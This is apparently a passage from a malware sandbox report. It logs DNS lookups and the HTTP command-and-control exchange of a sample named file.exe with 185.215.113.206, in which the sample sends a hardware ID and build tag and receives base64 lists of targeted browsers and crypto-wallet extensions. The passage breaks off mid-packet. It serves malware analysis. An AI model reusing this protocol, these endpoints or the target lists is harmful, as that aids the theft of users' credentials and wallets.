Nov 23, 2024 05:03:43.542057991 CET	192.168.2.6	1.1.1.1	0x52ac	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:03:43.542213917 CET	192.168.2.6	1.1.1.1	0xff6e	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 05:04:21.877971888 CET	192.168.2.6	1.1.1.1	0x5bcd	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:04:21.878032923 CET	192.168.2.6	1.1.1.1	0x8bd4	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 05:02:13.680524111 CET	1.1.1.1	192.168.2.6	0xd7aa	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:13.680524111 CET	1.1.1.1	192.168.2.6	0xd7aa	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:27.860171080 CET	1.1.1.1	192.168.2.6	0xf3b6	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:27.860363960 CET	1.1.1.1	192.168.2.6	0x9a8d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 05:02:34.742671013 CET	1.1.1.1	192.168.2.6	0x6f25	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:34.742671013 CET	1.1.1.1	192.168.2.6	0x6f25	No error (0)	plus.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:34.745217085 CET	1.1.1.1	192.168.2.6	0xc7e9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:35.745028019 CET	1.1.1.1	192.168.2.6	0xf382	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:39.496516943 CET	1.1.1.1	192.168.2.6	0x10a6	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:39.498050928 CET	1.1.1.1	192.168.2.6	0x151d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:40.612343073 CET	1.1.1.1	192.168.2.6	0x52cd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:40.612343073 CET	1.1.1.1	192.168.2.6	0x52cd	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:40.612670898 CET	1.1.1.1	192.168.2.6	0x4d96	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:42.653074980 CET	1.1.1.1	192.168.2.6	0x4157	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:42.653119087 CET	1.1.1.1	192.168.2.6	0x2ed	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:42.850312948 CET	1.1.1.1	192.168.2.6	0xfddf	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:42.850312948 CET	1.1.1.1	192.168.2.6	0xfddf	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:42.850349903 CET	1.1.1.1	192.168.2.6	0x8719	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:44.402717113 CET	1.1.1.1	192.168.2.6	0xd54a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 05:02:44.402832985 CET	1.1.1.1	192.168.2.6	0xe529	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.402832985 CET	1.1.1.1	192.168.2.6	0xe529	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.402911901 CET	1.1.1.1	192.168.2.6	0xacee	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 05:02:44.405447006 CET	1.1.1.1	192.168.2.6	0xd319	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.405447006 CET	1.1.1.1	192.168.2.6	0xd319	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.410605907 CET	1.1.1.1	192.168.2.6	0x7e68	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 05:02:44.410778046 CET	1.1.1.1	192.168.2.6	0x6fdd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.410778046 CET	1.1.1.1	192.168.2.6	0x6fdd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:46.180330992 CET	1.1.1.1	192.168.2.6	0x1b6d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:46.180330992 CET	1.1.1.1	192.168.2.6	0x1b6d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.519993067 CET	1.1.1.1	192.168.2.6	0x809f	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.519993067 CET	1.1.1.1	192.168.2.6	0x809f	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.519993067 CET	1.1.1.1	192.168.2.6	0x809f	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.519993067 CET	1.1.1.1	192.168.2.6	0x809f	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.522655964 CET	1.1.1.1	192.168.2.6	0x50f9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:02:47.523680925 CET	1.1.1.1	192.168.2.6	0x8165	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:03:43.679060936 CET	1.1.1.1	192.168.2.6	0xff6e	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:03:43.681920052 CET	1.1.1.1	192.168.2.6	0x52ac	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 05:04:22.759129047 CET	1.1.1.1	192.168.2.6	0x5bcd	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	185.215.113.206	80	6028	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:02:19.184781075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 05:02:20.708209991 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:20.789407969 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 42 39 33 38 44 46 46 39 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"F2B938DFF9442409657292------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Nov 23, 2024 05:02:21.250991106 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 31 4d 57 51 7a 4d 6d 4d 33 5a 6a 4e 6a 59 6a 51 77 4d 54 4a 6c 4e 6a 4a 6a 4e 6a 67 31 4e 32 56 6d 4e 54 52 69 5a 6d 52 68 4d 57 55 32 59 54 41 78 4d 57 49 30 59 32 52 6b 4e 32 51 7a 4f 44 59 78 4e 6d 52 6c 5a 47 4d 34 4f 47 4d 7a 59 6a 49 31 59 7a 41 35 4e 54 64 6c 4e 44 4d 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU1MWQzMmM3ZjNjYjQwMTJlNjJjNjg1N2VmNTRiZmRhMWU2YTAxMWI0Y2RkN2QzODYxNmRlZGM4OGMzYjI1YzA5NTdlNDM5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 05:02:21.252717972 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"browsers------HIJEGDBGDBFIJKECBAKF--
Nov 23, 2024 05:02:21.701335907 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 05:02:21.701386929 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 05:02:21.706032991 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"plugins------DGHCBAAEHCFIDGDHJEHC--
Nov 23, 2024 05:02:22.156974077 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 05:02:22.157006025 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 05:02:22.157022953 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 05:02:22.157143116 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 23, 2024 05:02:22.157159090 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 05:02:22.157176018 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 05:02:22.159687996 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 